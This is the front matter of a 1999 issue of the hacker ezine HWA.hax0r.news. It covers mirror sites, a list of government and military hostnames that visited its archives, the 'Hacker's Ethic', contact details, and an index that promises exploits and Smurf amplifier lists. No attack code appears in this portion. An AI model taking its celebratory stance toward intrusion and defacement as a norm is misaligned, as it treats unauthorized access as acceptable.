Copy Link
Add to Bookmark
Report
hwa-hn44
[63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ HWA.hax0r.news ]-=> =
==========================================================================
[=HWA'99/2000=] Number 44 Volume 1 1999 Nov 28th 99
==========================================================================
[ 61:20:6B:69:64:20:63:6F:75: ]
[ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ]
[ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ]
==========================================================================
"This newsletter/ezine has been Declassified for the phearing impaired"
____
/ ___|_____ _____ _ __ __ _ __ _ ___
| | / _ \ \ / / _ \ '__/ _` |/ _` |/ _ \
| |__| (_) \ V / __/ | | (_| | (_| | __/
\____\___/ \_/ \___|_| \__,_|\__, |\___|
|___/
This is #44 covering Nov 22nd to Nov 28th.
==========================================================================
"ABUSUS NON TOLLIT USUM"
==========================================================================
Mailing list members: 447 Can we bump this up somewhat? spread the word!
==========================================================================
Today the spotlight may be on you, some interesting machines that
have accessed these archives recently...
_ _ _
| | | | ___ | |_
| |_| |/ _ \| __|
| _ | (_) | |_
|_| |_|\___/ \__|
_ _ _ _
| | | (_) |
| |__| |_| |_ ___
| __ | | __/ __|
| | | | | |_\__ \
|_| |_|_|\__|___/
.gov and .mil activity
proxy.gintic.gov.sg
doegate.doe.gov
sunspot.gsfc.nasa.gov
gate1.mcbh.usmc.mil
homer.nawcad.navy.mil
maggie.nawcad.navy.mil
lisa.nawcad.navy.mil
msproxy.transcom.mil
b-kahuna.hickam.af.mil
sc034ws109.nosc.mil
infosec.se
gate2.mcbutler.usmc.mil
sc034ws109.nosc.mil
shq-ot-1178.nosc.mil
dhcp-036190.scott.af.mil
mcreed.lan.teale.ca.gov
dodo.nist.gov
mc1926.mcclellan.af.mil
kwai11.nsf.gov
enduser.faa.gov
vasfw02,fdic.gov
lisa.defcen.gov.au
ps1.pbgc.gov
guardian.gov.sg
amccss229116.scott.af.mil
sc022ws224.nosc.mil
sheppard2.hurlburt.af.mil
marshall.us-state.gov
digger1.defence.gov.au
firewall.mendoza.gov.ar
ipaccess.gov.ru
gatekeeper.itsec-debis.de
fgoscs.itsec-debis.de
fhu-ed4ccdf.fhu.disa.mil
citspr.tyndall.af.mil
kelsatx2.kelly.af.mil
kane.sheppard.af.mil
relay5.nima.mil
host.198-76-34-33.gsa.gov
ntsrvr.vsw.navy.mil
saic2.nosc.mil
wygate.wy.blm.gov
mrwilson.lanl.gov
p722ar.npt.nuwc.navy.mil
ws088228.ramstein.af.mil
car-gw.defence.gov.au
unknown-c-23-147.latimes.com
nytgate1.nytimes.com
There are some interesting machines among these, the *.nosc.mil boxes are
from SPAWAR information warfare centres, good Is It Worth It Followup to see
our boys keeping up with the news... - Ed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
_ ___ ___ _ ___
| | | \ \ / / \ | |__ __ ___ __/ _ \ _ __ _ __ _____ _____
| |_| |\ \ /\ / / _ \ | '_ \ / _` \ \/ / | | | '__| '_ \ / _ \ \ /\ / / __|
| _ | \ V V / ___ \ _| | | | (_| |> <| |_| | |_ | | | | __/\ V V /\__ \
|_| |_| \_/\_/_/ \_(_)_| |_|\__,_/_/\_\\___/|_(_)|_| |_|\___| \_/\_/ |___/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
http://welcome.to/HWA.hax0r.news/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
# #
@ The HWA website is sponsored by CUBESOFT communications I highly @
# recommend you consider these people for your web hosting needs, #
@ @
# Web site sponsored by CUBESOFT networks http://www.csoft.net #
@ check them out for great fast web hosting! @
# #
# http://www.csoft.net/~hwa @
@ #
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
_ _ _ _ _____ _ _ _
| | | | __ _ ___| | _____ _ __( )__| ____| |_| |__ (_) ___
| |_| |/ _` |/ __| |/ / _ \ '__|/ __| _| | __| '_ \| |/ __|
| _ | (_| | (__| < __/ | \__ \ |___| |_| | | | | (__
|_| |_|\__,_|\___|_|\_\___|_| |___/_____|\__|_| |_|_|\___|
Sadly, due to the traditional ignorance and sensationalizing of the mass
media, the once-noble term hacker has become a perjorative.
Among true computer people, being called a hacker is a compliment. One of
the traits of the true hacker is a profoundly antibureaucratic and
democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
This ethic was best formulated by Steven Levy in his 1984 book Hackers:
Heroes of the Computer Revolution. Its tenets are as follows:
1 - Access to computers should be unlimited and total.
2 - All information should be free.
3 - Mistrust authority - promote decentralization.
4 - Hackers should be judged by their hacking not bogus criteria such as
degrees, age, race, or position.
5 - You create art and beauty on a computer,
6 - Computers can change your life for the better.
The Internet as a whole reflects this ethic.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
_____ _ _ _
| ___|__ _ __ _ __ ___ __ _| |_| |_(_)_ __ __ _
| |_ / _ \| '__| '_ ` _ \ / _` | __| __| | '_ \ / _` |
| _| (_) | | | | | | | | (_| | |_| |_| | | | | (_| |
|_| \___/|_| |_| |_| |_|\__,_|\__|\__|_|_| |_|\__, |
|___/
A Comment on FORMATTING:
Oct'99 - Started 80 column mode format, code is still left
untouched since formatting will destroy syntax.
I received an email recently about the formatting of this
newsletter, suggesting that it be formatted to 75 columns
in the past I've endevoured to format all text to 80 cols
except for articles and site statements and urls which are
posted verbatim, I've decided to continue with this method
unless more people complain, the zine is best viewed in
1024x768 mode with UEDIT.... - Ed
BTW if anyone can suggest a better editor than UEDIT for
this thing send me some email i'm finding it lacking in
certain areas. Must be able to produce standard ascii.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
__ __ _
| \/ (_)_ __ _ __ ___ _ __ ___
| |\/| | | '__| '__/ _ \| '__/ __|
| | | | | | | | | (_) | | \__ \
|_| |_|_|_| |_| \___/|_| |___/
New mirror sites
http://datatwirl.intranova.net * NEW *
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
http://net-security.org/hwahaxornews
http://www.sysbreakers.com/hwa
http://www.attrition.org/hosted/hwa/
http://www.ducktank.net/hwa/issues.html.
http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
http://hwazine.cjb.net/
http://www.hackunlimited.com/files/secu/papers/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
* http://hwa.hax0r.news.8m.com/
* http://www.fortunecity.com/skyscraper/feature/103/
* Crappy free sites but they offer 20M & I need the space...
** Some issues are not located on these sites since they exceed
the file size limitations imposed by the sites :-( please
only use these if no other recourse is available.
HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
thanks to airportman for the Cubesoft bandwidth. Also shouts out to all
our mirror sites! and p0lix for the (now expired) digitalgeeks archive
tnx guys.
http://www.csoft.net/~hwa
HWA.hax0r.news Mirror Sites:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.ducktank.net/hwa/issues.html. ** NEW **
http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa. *DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.projectgamma.com/archives/zines/hwa/
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
____ _
/ ___| _ _ _ __ ___ _ __ ___(_)___
\___ \| | | | '_ \ / _ \| '_ \/ __| / __|
___) | |_| | | | | (_) | |_) \__ \ \__ \
|____/ \__, |_| |_|\___/| .__/|___/_|___/
|___/ |_|
SYNOPSIS (READ THIS)
--------------------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see. (remember i'm doing
this for me, not you, the fact some people happen to get a kick/use
out of it is of secondary importance).
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle... <g>
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ... #44
=-----------------------------------------------------------------------=
We could use some more people joining the channel, its usually pretty
quiet, we don't bite (usually) so if you're hanging out on irc stop
by and idle a while and say hi...
**************************************************************************
____| _| |
__| | __ \ _ \ __|
| __| | | __/ |
_____|_| _| _|\___|\__|
Eris Free Net #HWA.hax0r.news
**************************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' when keyed ***
*** ***
*** please join to discuss or impart news on from the zine and around ***
*** the zine or just to hang out, we get some interesting visitors you ***
*** could be one of em. ***
*** ***
*** Note that the channel isn't there to entertain you its purpose is ***
*** to bring together people interested and involved in the underground***
*** to chat about current and recent events etc, do drop in to talk or ***
*** hangout. Also if you want to promo your site or send in news tips ***
*** its the place to be, just remember we're not #hack or #chatzone... ***
**************************************************************************
=--------------------------------------------------------------------------=
_____ _ _
/ ____| | | | |
| | ___ _ __ | |_ ___ _ __ | |_ ___
| | / _ \| '_ \| __/ _ \ '_ \| __/ __|
| |___| (_) | | | | || __/ | | | |_\__ \
\_____\___/|_| |_|\__\___|_| |_|\__|___/
=--------------------------------------------------------------------------=
[ INDEX ]
=--------------------------------------------------------------------------=
Key Intros
=--------------------------------------------------------------------------=
00.0 .. COPYRIGHTS ......................................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. SOURCES .........................................................
00.3 .. THIS IS WHO WE ARE ..............................................
00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
00.5 .. THE HWA_FAQ V1.0 ................................................
ABUSUS NON TOLLIT USUM?
This is (in case you hadn't guessed) Latin, and loosely translated
it means "Just because something is abused, it should not be taken
away from those who use it properly). This is our new motto.
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
01.0 .. GREETS ..........................................................
01.1 .. Last minute stuff, rumours, newsbytes ...........................
01.2 .. Mailbag .........................................................
02.0 .. From the Editor..................................................
03.0 .. Solar Sunrise: The FBI operation.................................
04.0 .. Defacing Websites: Is it Worth It? (Brian Martin)................
05.0 .. Christmas Brings Joy For Prilissa ...............................
06.0 .. Norway Sets Wiretapping Agreement ...............................
07.0 .. Cable Pirates Busted in Cali ....................................
08.0 .. Pandora 4.0 Beta2 Now Available .................................
09.0 .. Attrition Adds Features .........................................
10.0 .. Zyklon Sentenced to 15 Months ...................................
11.0 .. Email Stolen From Amazon.com ....................................
12.0 .. Industry Pressures White House on Crypto Exports ................
13.0 .. Telenor Nextel Servers Compromised ..............................
14.0 .. FBI Wants Dollars for Information Security ......................
15.0 .. JavaScript and ActiveX May Be Banned by DOD .....................
16.0 .. Is It Worth It Followup .........................................
17.0 .. YTCracker Takes Out Gov Sites ...................................
18.0 .. UK Bans Key Escrow ..............................................
19.0 .. White Papers on Zero Knowledge ..................................
20.0 .. ParseTV Back On the Air .........................................
21.0 .. English Conservatives Blame Hackers .............................
22.0 .. Canadian Student Arrested for Downloading Software ..............
23.0 .. Students Questioned About SPAM ..................................
24.0 .. Students Fined for Unauthorized Access ..........................
25.0 .. Buffer Overflows Called Most Common Security Hole (No shit)......
26.0 .. Palm Pilot Used In Credit Card Theft ............................
27.0 .. Zero Knowledge on 60 Minutes ....................................
28.0 .. HotMail Fingers Bomber ..........................................
29.0 .. County Clerks Delete Arrest Warrants ............................
30.0 .. Trojan Advertising? .............................................
31.0 .. English ISP Mistakenly Gives Out Free Access ....................
32.0 .. SAR Top Ten Smurf Amplifiers for Nov 27th'99.....................
33.0 .. pop.c QPOP vulnerability scanner by duro.........................
34.0 .. 'Integrated FTP attack facility' by typo/teso....................
35.0 .. wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999]..................
36.0 .. ucb.c remote UCB popper exploit..................................
37.0 .. mh-6.8.3 / bbc Exploit for Linux (Shadow Penguin) ..............
38.0 .. mh-6.8.3 / inc Exploit for Linux (Shadow Penguin)...............
39.0 .. Interpreting Network Traffic:by Richard Bejtlich.................
40.0 .. Security Focus Newsletter #16....................................
41.0 .. su(1) buffer overflow local exploit..............................
42.0 .. xlock(1) Boundary Condition Error (local)........................
43.0 .. Xsco (exec) local exploit........................................
44.0 .. Deerfield WorldClient Pro 2.0.0.0 Boundary Condition Error.......
45.0 .. Netscape Communicator 4.7 Boundary Condition Error...............
46.0 .. Deerfield Mdaemon 2.8.50 exploit.................................
47.0 .. Cabletron SmartSwitch Router 8000 firmware 2.x DoS...............
48.0 .. Sun Forte Community Edition 1.0 Beta For NT access validation error
49.0 .. InterSoft NetTerm 4.2.x remote/local exploit....................
50.0 .. Another MSIE Design error creates remote exploit ...............
=-------------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in return
thats tres cool, if not we'll consider ur ad anyways so send it in.
ads for other zines are ok too btw just mention us in yours, please
remember to include links and an email contact. Corporate ads will
be considered also and if your company wishes to donate to or
participate in the upcoming Canc0n99 event send in your suggestions
and ads now...n.b date and time may be pushed back join mailing list
for up to date information.......................................
Current dates: POSTPONED til further notice, place: TBA..........
Ha.Ha .. Humour and puzzles ............................................
Hey You!........................................................
=------=........................................................
Send in humour for this section! I need a laugh and its hard to
find good stuff... ;)...........................................
SITE.1 .. Featured site, .................................................
H.W .. Hacked Websites ...............................................
A.0 .. APPENDICES......................................................
A.1 .. PHACVW linx and references......................................
=--------------------------------------------------------------------------=
@HWA'99
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _
| | ___ __ _ __ _| |
| | / _ \/ _` |/ _` | |
| |__| __/ (_| | (_| | |
|_____\___|\__, |\__,_|_|
|___/
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
(LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
ME PRIVATELY current email cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
AND REDISTRIBUTE/MIRROR. - EoD
Although this file and all future issues are now copyright, some of
the content holds its own copyright and these are printed and
respected. News is news so i'll print any and all news but will quote
sources when the source is known, if its good enough for CNN its good
enough for me. And i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
cruciphux@dok.org
Cruciphux [C*:.]
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _ _
/ ___|___ _ __ | |_ __ _ ___| |_ ___
| | / _ \| '_ \| __/ _` |/ __| __/ __|
| |__| (_) | | | | || (_| | (__| |_\__ \
\____\___/|_| |_|\__\__,_|\___|\__|___/
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
~~~~~~~ reading this from some interesting places, make my day and get a
mention in the zine, send in a postcard, I realize that some places
it is cost prohibitive but if you have the time and money be a cool
dude / gal and send a poor guy a postcard preferably one that has some
scenery from your place of residence for my collection, I collect stamps
too so you kill two birds with one stone by being cool and mailing in a
postcard, return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you) ;-)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n. <g>
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
Stuff you can email:
- Prank phone calls in .ram or .mp* format
- Fone tones and security announcements from PBX's etc
- fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
- reserved for one smiley face -> :-) <-
- PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
- burns of phac cds (email first to make sure we don't already have em)
- Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it <BeG>
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas2@usa.net
@HWA
00.2 Sources ***
~~~~~~~~~~~
____
/ ___| ___ _ _ _ __ ___ ___ ___
\___ \ / _ \| | | | '__/ __/ _ Y __|
___) | (_) | |_| | | | (_| __|__ \
|____/ \___/ \__,_|_| \___\___|___/
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
NewsTrolls .(daily news ).........http://www.newstrolls.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+Security................http://www.gammaforce.org/
News site+Security................http://www.projectgamma.com/
News site+Security................http://securityhole.8m.com/
News site+Security related site...http://www.403-security.org/ s
News/Humour site+ ................http://www.innerpulse.com
News/Techie news site.............http://www.slashdot.org
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
<+others>
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/SEARCH/
http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
http://www.ottawacitizen.com/business/
http://search.yahoo.com.sg/search/news_sg?p=hack
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
http://www.zdnet.com/zdtv/cybercrime/
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
http://freespeech.org/eua/ Electronic Underground Affiliation
http://ech0.cjb.net ech0 Security
http://axon.jccc.net/hir/ Hackers Information Report
http://net-security.org Net Security
http://www.403-security.org Daily news and security related site
Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _ _ _
/ ___| _ _| |__ _ __ ___ (_)___ ___(_) ___ _ __ ___
\___ \| | | | '_ \| '_ ` _ \| / __/ __| |/ _ \| '_ \/ __|
___) | |_| | |_) | | | | | | \__ \__ \ | (_) | | | \__ \
|____/ \__,_|_.__/|_| |_| |_|_|___/___/_|\___/|_| |_|___/
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
ATTRITION.ORG's Website defacement mirror and announcement lists
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.attrition.org/mirror/attrition/
http://www.attrition.org/security/lists.html
--
defaced [web page defacement announce list]
This is a public LOW VOLUME (1) mail list to circulate news/info on
defaced web sites. To subscribe to Defaced, send mail to
majordomo@attrition.org with "subscribe defaced" in the BODY of
the mail.
There will be two types of posts to this list:
1. brief announcements as we learn of a web defacement.
this will include the site, date, and who signed the
hack. we will also include a URL of a mirror of the hack.
2. at the end of the day, a summary will be posted
of all the hacks of the day. these can be found
on the mirror site listed under 'relevant links'
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: mcintyre@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
(1) It is low volume on a normal day. On days of many defacements,
traffic may be increased. On a few days, it is a virtual mail
flood. You have been warned. ;)
-=-
--
defaced summary [web page defacement announce list]
This is a low traffic mail list to announce all publicly
defaced domains on a given day. To subscribe to Defaced-Summary, send mail to
majordomo@attrition.org with "subscribe defaced-summary" in the BODY of
the mail.
There will be ONE type of post to this list:
1. a single nightly piece of mail listing all reported
domains. the same information can be found on
http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
-=-
defaced GM [web page defacement announce list]
This is a low traffic mail list to announce all publicly
defaced government and military domains on a given day. To subscribe to
Defaced-GM, send mail to majordomo@attrition.org with "subscribe defaced-gm"
in the BODY of the mail.
There will be ONE type of post to this list:
1. sporadic pieces of mail for each government (.gov)
or military (.mil) system defaced. the same information
can be found on http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is designed primarily for government and military
personell charged with tracking security incidents on
government run networks.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
--
defaced alpha [web page defacement announce list]
This is a low traffic mail list to announce via alpha-numeric
pagers, all publicly defaced government and military domains
on a given day. To subscribe to Defaced-Alpha, send mail to
majordomo@attrition.org with "subscribe defaced-alpha" in
the BODY of the mail.
There will be ONE type of post to this list:
1. sporadic pieces of mail for each government (.gov)
or military (.mil) system defaced. the information
will only include domain names. the same information
can be found on http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is designed primarily for government and military
personell charged with tracking security incidents on
government run networks. Further, it is designed for
quick response and aimed at law enforcement agencies like
DCIS and the FBI.
To subscribe to this list, a special mail will be sent to YOUR
alpha-numeric pager. A specific response must be made within
12 hours of receiving the mail to be subscribed. If the response
is not received, it is assumed the mail was not sent to your
pager.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
-=-
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
"CC" the bugtraq reflector address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words that you post on this list and that
reproduction of those words without your permission in any medium outside the distribution of this list may be
challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I am pleased to inform you of several changes that will be occurring
on June 5th. I hope you find them as exciting as I do.
BUGTRAQ moves to a new home
---------------------------
First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
below. Other than the change of domains nothing of how the list
is run changes. I am still the moderator. We play by the same rules.
Security Focus will be providing mail archives for BUGTRAQ. The
archives go back longer than Netspace's and are more complete than
Geek-Girl's.
The move will occur one week from today. You will not need to
resubscribe. All your information, including subscription options
will be moved transparently.
Any of you using mail filters (e.g. procmail) to sort incoming
mail into mail folders by examining the From address will have to
update them to include the new address. The new address will be:
